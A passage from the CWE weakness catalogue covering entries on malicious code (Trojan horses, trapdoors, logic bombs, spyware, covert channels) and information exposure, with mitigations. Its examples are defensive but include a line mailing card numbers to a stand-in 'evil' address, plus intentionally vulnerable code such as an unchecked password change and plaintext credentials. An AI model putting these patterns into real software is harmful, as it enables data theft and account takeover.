When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Implementation

Explicitly define final readObject() to prevent deserialization. An example of this is:

Java Example: *Good Code*

```
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized"); }
```

Architecture and Design
Implementation

Make fields transient to protect them from deserialization.

An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.

Implementation

Avoid having unnecessary types or gadgets available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Whitelist acceptable classes. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.

Background Details

Serialization and deserialization refer to the process of taking program-internal object-related data, packaging it in a way that allows the data to be externally stored or transferred ("serialization"), then extracting the serialized data to reconstruct the original object ("deserialization").

Maintenance Notes

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.

CWE-503: Byte/Object Code

Category ID: 503 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are typically found within byte code or object code.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Object Code

Maintenance Notes

This entry is being considered for deprecation. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree. It cannot be deprecated until after the CWE team has reviewed whether other CWE elements are appropriately capturing the "location" in which the weaknesses are introduced.

CWE-504: Motivation/Intent

Category ID: 504 *(Category)* **Status:** Draft

Description

Summary

This category intends to capture the motivations and intentions of developers that lead to weaknesses that are found within CWE.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Genesis

Maintenance Notes

This entry is being considered for deprecation. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree. It cannot be deprecated until after the CWE team has reviewed whether other CWE elements are appropriately capturing the "location" in which the weaknesses are introduced.

CWE-505: Intentionally Introduced Weakness

Category ID: 505 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category were intentionally introduced by the developer, typically as a result of prioritizing other aspects of the program over security, such as maintenance.

Extended Description

Characterizing intention is tricky: some features intentionally placed in programs can at the same time inadvertently introduce security flaws. For example, a feature that facilitates remote debugging or system maintenance may at the same time provide a trapdoor to a system. Where such cases can be distinguished, they are categorized as intentional but nonmalicious. Not wishing to endow programs with intentions, we nevertheless use the terms "malicious flaw," "malicious code," and so on, as shorthand for flaws, code, etc., that have been introduced into a system by an individual with malicious intent. Although some malicious flaws could be disguised as inadvertent flaws, this distinction can be easy to make in practice. Inadvertently created Trojan horse programs are hardly likely, although an intentionally-introduced buffer overflow might plausibly seem to be an error.

Demonstrative Examples

The following snippet from a Java servlet demonstrates the use of a "debug" parameter that invokes debug-related functionality. If deployed into production, an attacker may use the debug parameter to get the application to divulge sensitive information.

Java Example: *Bad Code*

```
String mode = request.getParameter("mode");
// perform requested servlet task
...
if (mode.equals(DEBUG)) {
  // print sensitive information in client browser (PII, server statistics, etc.)
  ...
}
```

This entry is being considered for deprecation. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree. It cannot be deprecated until after the CWE team has reviewed whether other CWE elements are appropriately capturing the "location" in which the weaknesses are introduced.

CWE-506: Embedded Malicious Code

Weakness ID: 506 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The application contains code that appears to be malicious in nature.

Extended Description

Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of an application or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.

Terminology Notes

The term "Trojan horse" was introduced by Dan Edwards and recorded by James Anderson [18] to characterize a particular computer security threat; it has been redefined many times [4,18-20].

Time of Introduction

- Implementation

Common Consequences

Confidentiality
Integrity
Availability
Execute unauthorized code or commands

Detection Methods

Manual Static Analysis - Binary / Bytecode
SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
Manual Source Code Review (not inspections)

Automated Static Analysis
SOAR Partial

According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Origin Analysis

Demonstrative Examples

In the example below, a malicous developer has injected code to send credit card numbers to his email address.

Java Example: *Bad Code*

```
boolean authorizeCard(String ccn) {
  // Authorize credit card.
  ...
  mailCardNumber(ccn, "evil_developer@evil_domain.com");
}
```

Potential Mitigations

Testing

Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Malicious

CWE-507: Trojan Horse

Weakness ID: 507 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software appears to contain benign or useful functionality, but it also contains code that is hidden from normal operation that violates the intended security policy of the user or the system administrator.

Terminology Notes

Definitions of "Trojan horse" and related terms have varied widely over the years, but common usage in 2008 generally refers to software that performs a legitimate function, but also contains malicious code.

Almost any malicious code can be called a Trojan horse, since the author of malicious code needs to disguise it somehow so that it will be invoked by a nonmalicious user (unless the author means also to invoke the code, in which case he or she presumably already possesses the authorization to perform the intended sabotage). A Trojan horse that replicates itself by copying its code into other program files (see case MA1) is commonly referred to as a virus. One that replicates itself by creating new processes or files to contain its code, instead of modifying existing storage entities, is often called a worm. Denning provides a general discussion of these terms; differences of opinion about the term applicable to a particular flaw or its exploitations sometimes occur.

Time of Introduction

- Implementation
- Operation

Common Consequences

Confidentiality
Integrity
Availability
Execute unauthorized code or commands

Potential Mitigations

Operation

Most antivirus software scans for Trojan Horses.

Installation

Verify the integrity of the software that is being installed.

Other Notes

Potentially malicious dynamic code compiled at runtime can conceal any number of attacks that will not appear in the baseline. The use of dynamically compiled code could also allow the injection of attacks on post-deployed applications.

CWE-508: Non-Replicating Malicious Code

Weakness ID: 508 *(Weakness Base)* **Status:** Incomplete

Description

Summary

Non-replicating malicious code only resides on the target system or software that is attacked; it does not attempt to spread to other systems.

Time of Introduction

- Implementation
- Operation

Common Consequences

Confidentiality
Integrity
Availability
Execute unauthorized code or commands

Potential Mitigations

Operation

Antivirus software can help mitigate known malicious code.

Installation

Verify the integrity of the software that is being installed.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	507	Trojan Horse	**699** **1000**	855
ChildOf	C	904	SFP Primary Cluster: Malware	**888**	1333

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Non-Replicating

CWE-509: Replicating Malicious Code (Virus or Worm)

Weakness ID: 509 *(Weakness Base)* **Status:** Incomplete

Description

Summary

Replicating malicious code, including viruses and worms, will attempt to attack other systems once it has successfully compromised the target system or software.

Time of Introduction

- Implementation
- Operation

Common Consequences

Confidentiality
Integrity
Availability
Execute unauthorized code or commands

Potential Mitigations

Operation

Antivirus software scans for viruses or worms.

Installation

Always verify the integrity of the software that is being installed.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	507	Trojan Horse	**699** **1000**	855
ChildOf	C	904	SFP Primary Cluster: Malware	**888**	1333

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Replicating (virus)

CWE-510: Trapdoor

Weakness ID: 510 *(Weakness Base)* **Status:** Incomplete

Description

Summary

A trapdoor is a hidden piece of code that responds to a special input, allowing its user access to resources without passing through the normal security enforcement mechanism.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Common Consequences

Confidentiality
Integrity
Availability
Access Control
Execute unauthorized code or commands
Bypass protection mechanism

Detection Methods

Automated Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Inter-application Flow Analysis
Binary / Bytecode simple extractor – strings, ELF readers, etc.

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Generated Code Inspection

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Automated Monitored Execution
Forced Path Execution
Debugger
Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Cost effective for partial coverage:
Formal Methods / Correct-By-Construction

Potential Mitigations

Installation
Always verify the integrity of the software that is being installed.

Testing
Identify and closely inspect the conditions for entering privileged areas of the code, especially those related to authentication, process invocation, and network communications.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	G	506	Embedded Malicious Code	**699** **1000**	854
ChildOf	C	904	SFP Primary Cluster: Malware	**888**	1333

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Trapdoor

CWE-511: Logic/Time Bomb

Weakness ID: 511 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software contains code that is designed to disrupt the legitimate operation of the software (or its environment) when a certain time passes, or when a certain logical condition is met.

Extended Description

When the time bomb or logic bomb is detonated, it may perform a denial of service such as crashing the system, deleting critical data, or degrading system response time. This bomb might be placed within either a replicating or non-replicating Trojan horse.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-independent

Architectural Paradigms

- Mobile Application

Common Consequences

Other
Integrity
Varies by context
Alter execution logic

Demonstrative Examples

Typical examples of triggers include system date or time mechanisms, random number generators, and counters that wait for an opportunity to launch their payload. When triggered, a time-bomb may deny service by crashing the system, deleting files, or degrading system response-time.

Potential Mitigations

Installation

Always verify the integrity of the software that is being installed.

Testing

Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	506	Embedded Malicious Code	**699** **1000**	854
ChildOf	C	904	SFP Primary Cluster: Malware	**888**	1333

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Logic/Time Bomb

References

CWE-512: Spyware

Weakness ID: 512 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software collects personally identifiable information about a human user or the user's activities, but the software accesses this information using other resources besides itself, and it does not require that user's explicit approval or direct input into the software.

Extended Description

"Spyware" is a commonly used term with many definitions and interpretations. In general, it is meant to software that collects information or installs functionality that human users might not allow if they were fully aware of the actions being taken by the software. For example, a user might expect that tax software would collect a social security number and include it when filing a tax return, but that same user would not expect gaming software to obtain the social security number from that tax software's data.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Common Consequences

Confidentiality
Read application data

Potential Mitigations

Operation

Use spyware detection and removal software.

Installation

Always verify the integrity of the software that is being installed.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	506	Embedded Malicious Code	**699** **1000**	854
ChildOf	C	904	SFP Primary Cluster: Malware	**888**	1333

CWE-513: Intentionally Introduced Nonmalicious Weakness

Category ID: 513 *(Category)* **Status:** Incomplete

Description

Summary

Nonmalicious introduction of weaknesses into software can still render it vulnerable to various attacks.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	505	Intentionally Introduced Weakness	**699**	853

Landwehr	Nonmalicious

CWE-514: Covert Channel

Weakness ID: 514 *(Weakness Class)* **Status:** Incomplete

Description

Summary

A covert channel is a path that can be used to transfer information in a way not intended by the system's designers.

Extended Description

Typically the system has not given authorization for the transmission and has no knowledge of its occurrence.

Time of Introduction

- Implementation
- Operation

Common Consequences

Confidentiality
Access Control
Read application data
Bypass protection mechanism

Detection Methods

Architecture / Design Review
SOAR Partial

According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	418	Channel Errors	699	724
ChildOf	C	518	Inadvertently Introduced Weakness	**699**	863
ChildOf	C	668	Exposure of Resource to Wrong Sphere	**1000**	1037

ParentOf	B	*515*	*Covert Storage Channel*	*699* *1000*	*861*

Theoretical Notes

A covert channel can be thought of as an emergent resource, meaning that it was not an originally intended resource, however it exists due the application's behaviors.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Covert Channel

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 2.10)*
463	Padding Oracle Crypto Attack	

CWE-515: Covert Storage Channel

Weakness ID: 515 *(Weakness Base)* **Status:** Incomplete

Description

Summary

A covert storage channel transfers information through the setting of bits by one program and the reading of those bits by another. What distinguishes this case from that of ordinary operation is that the bits are used to convey encoded information.

Extended Description

Covert storage channels occur when out-of-band data is stored in messages for the purpose of memory reuse. Covert channels are frequently classified as either storage or timing channels. Examples would include using a file intended to hold only audit information to convey user passwords--using the name of a file or perhaps status bits associated with it that can be read by all users to signal the contents of the file. Steganography, concealing information in such a manner that no one but the intended recipient knows of the existence of the message, is a good example of a covert storage channel.

Time of Introduction

- Implementation

Common Consequences

Confidentiality
Read application data

Covert storage channels may provide attackers with important information about the system in question.

Integrity
Confidentiality
Read application data

If these messages or packets are sent with unnecessary data contained within, it may tip off malicious listeners as to the process that created the message. With this information, attackers may learn any number of things, including the hardware platform, operating system, or algorithms used by the sender. This information can be of significant value to the user in launching further attacks.

Likelihood of Exploit

High

Demonstrative Examples

An excellent example of covert storage channels in a well known application is the ICMP error message echoing functionality. Due to ambiguities in the ICMP RFC, many IP implementations use the memory within the packet for storage or calculation. For this reason, certain fields of certain packets -- such as ICMP error packets which echo back parts of received messages -- may contain flaws or extra information which betrays information about the identity of the target operating system. This information is then used to build up evidence to decide the environment of the target. This is the first crucial step in determining if a given system is vulnerable to a particular flaw and what changes must be made to malicious code to mount a successful attack.

Potential Mitigations

Implementation

Ensure that all reserved fields are set to zero before messages are sent and that no unnecessary information is included.

CWE-516: DEPRECATED (Duplicate): Covert Timing Channel

Weakness ID: 516 *(Deprecated Weakness Base)* **Status:** Deprecated

Description

Summary

This weakness can be found at CWE-385.

CWE-517: Other Intentional, Nonmalicious Weakness

Category ID: 517 *(Category)* **Status:** Incomplete

Description

Summary

Other kinds of intentional but nonmalicious security flaws are possible. Functional requirements that are written without regard to security requirements can lead to such flaws; one of the flaws exploited by the "Internet worm" [3] (case U10) could be placed in this category.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	513	Intentionally Introduced Nonmalicious Weakness	**699**	860

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Other

CWE-518: Inadvertently Introduced Weakness

Category ID: 518 *(Category)* **Status:** Incomplete

Description

Summary

The software contains a weakness that was inadvertently introduced by the developer.

Extended Description

Inadvertent flaws may occur in requirements; they may also find their way into software during specification and coding. Although many of these are detected and removed through testing, some flaws can remain undetected and later cause problems during operation and maintenance of the software system. For a software system composed of many modules and involving many programmers, flaws are often difficult to find and correct because module interfaces are inadequately documented and global variables are used. The lack of documentation is especially troublesome during maintenance when attempts to fix existing flaws often generate new flaws because maintainers lack understanding of the system as a whole. Although inadvertent flaws do not usually pose an immediate threat to the security of the system, the weakness resulting from a flaw may be exploited by an intruder (see case D1).

Time of Introduction

- Operation
- Architecture and Design
- Implementation

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	C	*514*	*Covert Channel*	***699***	*860*

Maintenance Notes

This entry is being considered for deprecation. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree. It cannot be deprecated until after the CWE team has reviewed whether other CWE elements are appropriately capturing the "location" in which the weaknesses are introduced.

CWE-519: .NET Environment Issues

Category ID: 519 *(Category)* **Status:** Draft

Description

Summary

This category lists weaknesses related to environmental problems in .NET framework applications.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	16	Configuration	699	15
ParentOf	C	*10*	*ASP.NET Environment Issues*	***699***	*8*
ParentOf	V	*520*	*.NET Misconfiguration: Use of Impersonation*	***699***	*864*

CWE-520: .NET Misconfiguration: Use of Impersonation

Weakness ID: 520 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Allowing a .NET application to run at potentially escalated levels of access to the underlying operating and file systems can be dangerous and result in various forms of attacks.

Extended Description

.NET server applications can optionally execute using the identity of the user authenticated to the client. The intention of this functionality is to bypass authentication and access control checks within the .NET application code. Authentication is done by the underlying web server (Microsoft Internet Information Service IIS), which passes the authenticated token, or unauthenticated anonymous token, to the .NET application. Using the token to impersonate the client, the application then relies on the settings within the NTFS directories and files to control access. Impersonation enables the application, on the server running the .NET application, to both execute code and access resources in the context of the authenticated and authorized user.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Common Consequences

Access Control

Gain privileges / assume identity

Potential Mitigations

Operation

Run the application with limited privilege to the underlying operating and file system.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	266	Incorrect Privilege Assignment	1000	472

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-521: Weak Password Requirements

Weakness ID: 521 *(Weakness Base)* **Status:** Draft

Description

Summary

The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts.

Extended Description

An authentication mechanism is only as strong as its credentials. For this reason, it is important to require users to have strong passwords. Lack of password complexity significantly reduces the search space when trying to guess user's passwords, making brute-force attacks easier.

Time of Introduction

- Architecture and Design

- Implementation

Common Consequences

Access Control

Gain privileges / assume identity

An attacker could easily guess user passwords and gain access user accounts.

Potential Mitigations

Architecture and Design

Enforce usage of strong passwords. A password strength policy should contain the following attributes:

Minimum and maximum length;

Require mixed character sets (alpha, numeric, special, mixed case);

Do not contain user name;

Expiration;

No password reuse.

Architecture and Design

Authentication mechanisms should always require sufficiently complex passwords and require that they be periodically changed.

CWE-522: Insufficiently Protected Credentials

Weakness ID: 522 *(Weakness Base)* **Status:** Incomplete

Description

Summary

This weakness occurs when the application transmits or stores authentication credentials and uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Access Control
Gain privileges / assume identity

An attacker could gain access to user accounts and access sensitive data used by the user accounts.

Demonstrative Examples

Example 1:

This code changes a user's password.

PHP Example: *Bad Code*

```
$user = $_GET['user'];
$pass = $_GET['pass'];
$checkpass = $_GET['checkpass'];
if ($pass == $checkpass) {
  SetUserPassword($user, $pass);
}
```

While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account.

Example 2:

The following code reads a password from a properties file and uses the password to connect to a database.

Java Example: *Bad Code*

```
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = prop.getProperty("password");
DriverManager.getConnection(url, usr, password);
...
```

This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

Example 3:

The following code reads a password from the registry and uses the password to create a new network credential.

Java Example: *Bad Code*

```
...
String password = regKey.GetValue(passKey).toString();
NetworkCredential netCred = new NetworkCredential(username,password,domain);
...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system

Example 4:

Both of these examples verify a password by comparing it to a stored compressed version.

C/C++ Example: *Bad Code*

```
int VerifyAdmin(char *password) {
  if (strcmp(compress(password), compressed_password)) {
    printf("Incorrect Password!\n");
    return(0);
  }
  printf("Entering Diagnostic Mode...\n");
  return(1);
}
```

Java Example: *Bad Code*

```
int VerifyAdmin(String password) {
  if (passwd.Equals(compress(password), compressed_password)) {
    return(0);
  }
  //Diagnostic Mode
  return(1);
}
```

Because a compression algorithm is used instead of a one way hashing algorithm, an attacker can recover compressed passwords stored in the database.

Example 5:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext.

This Java example shows a properties file with a plaintext username / password pair.

Java Example: *Bad Code*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

ASP.NET Example: *Bad Code*

```
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

Observed Examples

Reference	Description
CVE-2000-0944	Web application password change utility doesn't check the original password.
CVE-2005-0408	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.
CVE-2005-3435	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.
CVE-2007-0681	Web app allows remote attackers to change the passwords of arbitrary users without providing the original password, and possibly perform other unauthorized actions.

Potential Mitigations

Architecture and Design

Use an appropriate security mechanism to protect the credentials.

Architecture and Design

Make appropriate use of cryptography to protect the credentials.

Implementation

Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).

CWE-523: Unprotected Transport of Credentials

Weakness ID: 523 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Login pages not using adequate measures to protect the user name and password while they are in transit from the client to the server.

Time of Introduction

- Architecture and Design

Common Consequences

Access Control

Gain privileges / assume identity

Potential Mitigations

Operation
System Configuration

Enforce SSL use for the login page or any page used to transmit user credentials or other sensitive information. Even if the entire site does not use SSL, it MUST use SSL for login. Additionally, to help prevent phishing attacks, make sure that SSL serves the login page. SSL allows the user to verify the identity of the server to which they are connecting. If the SSL serves login page, the user can be certain they are talking to the proper end system. A phishing attack would typically redirect a user to a site that does not have a valid trusted server certificate issued from an authorized supplier.

Background Details

SSL (Secure Socket Layer) provides data confidentiality and integrity to HTTP. By encrypting HTTP messages, SSL protects from attackers eavesdropping or altering message contents.

CWE-524: Information Exposure Through Caching

Weakness ID: 524 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The application uses a cache to maintain a pool of objects, threads, connections, pages, or passwords to minimize the time it takes to access them or the resources to which they connect. If implemented improperly, these caches can allow access to unauthorized information or cause a denial of service vulnerability.

Time of Introduction

- Implementation

Common Consequences

Confidentiality
Read application data

Potential Mitigations

Architecture and Design

Protect information stored in cache.

Architecture and Design

Do not store unnecessarily sensitive information in the cache.

Architecture and Design

Consider using encryption in the cache.

Relationships

CAPEC-ID	Attack Pattern Name (CAPEC Version 2.10)
204	Lifting Sensitive Data Embedded in Cache

CWE-525: Information Exposure Through Browser Caching

Weakness ID: 525 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

For each web page, the application should have an appropriate caching policy specifying the extent to which the page and its form fields should be cached.

Time of Introduction

- Implementation

Common Consequences

Confidentiality
Read application data

Browsers often store information in a client-side cache, which can leave behind sensitive information for other users to find and exploit, such as passwords or credit card numbers. The locations at most risk include public terminals, such as those in libraries and Internet cafes.

Potential Mitigations

Architecture and Design

Protect information stored in cache.

Architecture and Design
Implementation

Use a restrictive caching policy for forms and web pages that potentially contain sensitive information.

Architecture and Design

Do not store unnecessarily sensitive information in the cache.

Architecture and Design

Consider using encryption in the cache.

CWE-526: Information Exposure Through Environmental Variables

Weakness ID: 526 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Environmental variables may contain sensitive information about a remote server.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Common Consequences

Confidentiality
Read application data

Potential Mitigations

Architecture and Design

Protect information stored in environment variable from being exposed to the user.

Relationships

CWE-527: Exposure of CVS Repository to an Unauthorized Control Sphere

Weakness ID: 527 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The product stores a CVS repository in a directory or other container that is accessible to actors outside of the intended control sphere.

Extended Description

Information contained within a CVS subdirectory on a web server or other server could be recovered by an attacker and used for malicious purposes. This information may include usernames, filenames, path root, and IP addresses.

Time of Introduction

- Operation

Common Consequences

Confidentiality
Read application data
Read files or directories

Potential Mitigations

Operation
Distribution
System Configuration

Recommendations include removing any CVS directories and repositories from the production server, disabling the use of remote CVS repositories, and ensuring that the latest CVS patches and version updates have been performed.

CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere

Weakness ID: 529 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The product stores access control list files in a directory or other container that is accessible to actors outside of the intended control sphere.

Extended Description

Exposure of these access control list files may give the attacker information about the configuration of the site or system. This information may then be used to bypass the intended security policy or identify trusted systems from which an attack can be launched.

Time of Introduction

- Operation

Common Consequences

Confidentiality
Access Control
Read application data
Bypass protection mechanism

Potential Mitigations

System Configuration

Protect access control list files.

CWE-530: Exposure of Backup File to an Unauthorized Control Sphere

Weakness ID: 530 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A backup file is stored in a directory that is accessible to actors outside of the intended control sphere.

Extended Description

Often, old files are renamed with an extension such as .~bk to distinguish them from production files. The source code for old files that have been renamed in this manner and left in the webroot can often be retrieved. This renaming may have been performed automatically by the web server, or manually by the administrator.

Time of Introduction

- Implementation
- Operation

Common Consequences

Confidentiality

Read application data

At a minimum, an attacker who retrieves this file would have all the information contained in it, whether that be database calls, the format of parameters accepted by the application, or simply information regarding the architectural structure of your site.

Potential Mitigations

Policy

Recommendations include implementing a security policy within your organization that prohibits backing up web application source code in the webroot.

CWE-531: Information Exposure Through Test Code

Weakness ID: 531 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Accessible test applications can pose a variety of security risks. Since developers or administrators rarely consider that someone besides themselves would even know about the existence of these applications, it is common for them to contain sensitive information or functions.

Time of Introduction

- Operation

Common Consequences

Confidentiality

Read application data

Demonstrative Examples

Examples of common issues with test applications include administrative functions, listings of usernames, passwords or session identifiers and information about the system, server or application configuration.

Potential Mitigations

Distribution

Installation

Remove test code before deploying the application into production.

Relationships

Nature	Type	ID	Name	V	Page

CWE-532: Information Exposure Through Log Files

Weakness ID: 532 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Information written to log files can be of a sensitive nature and give valuable guidance to an attacker or expose sensitive user information.

Extended Description

While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Common Consequences

Confidentiality

Read application data

Logging sensitive user data often provides attackers with an additional, less-protected path to acquiring the information.

Likelihood of Exploit

Medium

Demonstrative Examples

Example 1:

In the following code snippet, a user's full name and credit card number are written to a log file.

Java Example: *Bad Code*

```
logger.info("Username: " + usernme + ", CCN: " + ccn);
```

Example 2:

This code stores location information about the current user:

Java Example: *Bad Code*

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
currentUser.setLocation(locationClient.getLastLocation());
...
catch (Exception e) {
  AlertDialog.Builder builder = new AlertDialog.Builder(this);
  builder.setMessage("Sorry, this application has experienced an error.");
  AlertDialog alert = builder.create();
  alert.show();
  Log.e("ExampleActivity", "Caught exception: " + e + " While on User:" + User.toString());
}
```

When the application encounters an exception it will write the user object to the log. Because the user object contains location information, the user's location is also written to the log.

Potential Mitigations

Architecture and Design
Implementation

Consider seriously the sensitivity of the information written into log files. Do not write secrets into the log files.

Operation

Protect log files against unauthorized read/write.

Implementation

Adjust configurations appropriately when software is transitioned from a debug state to production.

CWE-536: Information Exposure Through Servlet Runtime Error Message

Weakness ID: 536 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A servlet error message indicates that there exists an unhandled exception in your web application code and may provide useful information to an attacker.

Time of Introduction

- Implementation

Common Consequences

Confidentiality
Read application data

The error message may contain the location of the file in which the offending function is located. This may disclose the web root's absolute path as well as give the attacker the location of application files or configuration information. It may even disclose the portion of code that failed. In many cases, an attacker can use the data to launch further attacks against the system.

Demonstrative Examples

The following servlet code does not catch runtime exceptions, meaning that if such an exception were to occur, the container may display potentially dangerous information (such as a full stack trace).

Java Example: *Bad Code*

```
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  String username = request.getParameter("username");
  // May cause unchecked NullPointerException.
  if (username.length() < 10) {
    ...
  }
}
```

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	210	Information Exposure Through Self-generated Error Message	**699** **1000**	402
ChildOf	C	963	SFP Secondary Cluster: Exposed Data	**888**	1381

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-537: Information Exposure Through Java Runtime Error Message

Weakness ID: 537 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

In many cases, an attacker can leverage the conditions that cause unhandled exception errors in order to gain unauthorized access to the system.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Confidentiality
Read application data

Demonstrative Examples

Example 1:

In the following Java example the class InputFileRead enables an input file to be read using a FileReader object. In the constructor of this class a default input file path is set to some directory on the local file system and the method setInputFile must be called to set the name of the input file to be read in the default directory. The method readInputFile will create the FileReader object and will read the contents of the file. If the method setInputFile is not called prior to calling the method readInputFile then the File object will remain null when initializing the FileReader object. A Java RuntimeException will be raised, and an error message will be output to the user.

Java Example: *Bad Code*

```
public class InputFileRead {
  private File readFile = null;
  private FileReader reader = null;
  private String inputFilePath = null;
  private final String DEFAULT_FILE_PATH = "c:\\somedirectory\\";
  public InputFileRead() {
    inputFilePath = DEFAULT_FILE_PATH;
  }
  public void setInputFile(String inputFile) {
    /* Assume appropriate validation / encoding is used and privileges / permissions are preserved */
  }
  public void readInputFile() {
    try {
      reader = new FileReader(readFile);
      ...
    } catch (RuntimeException rex) {
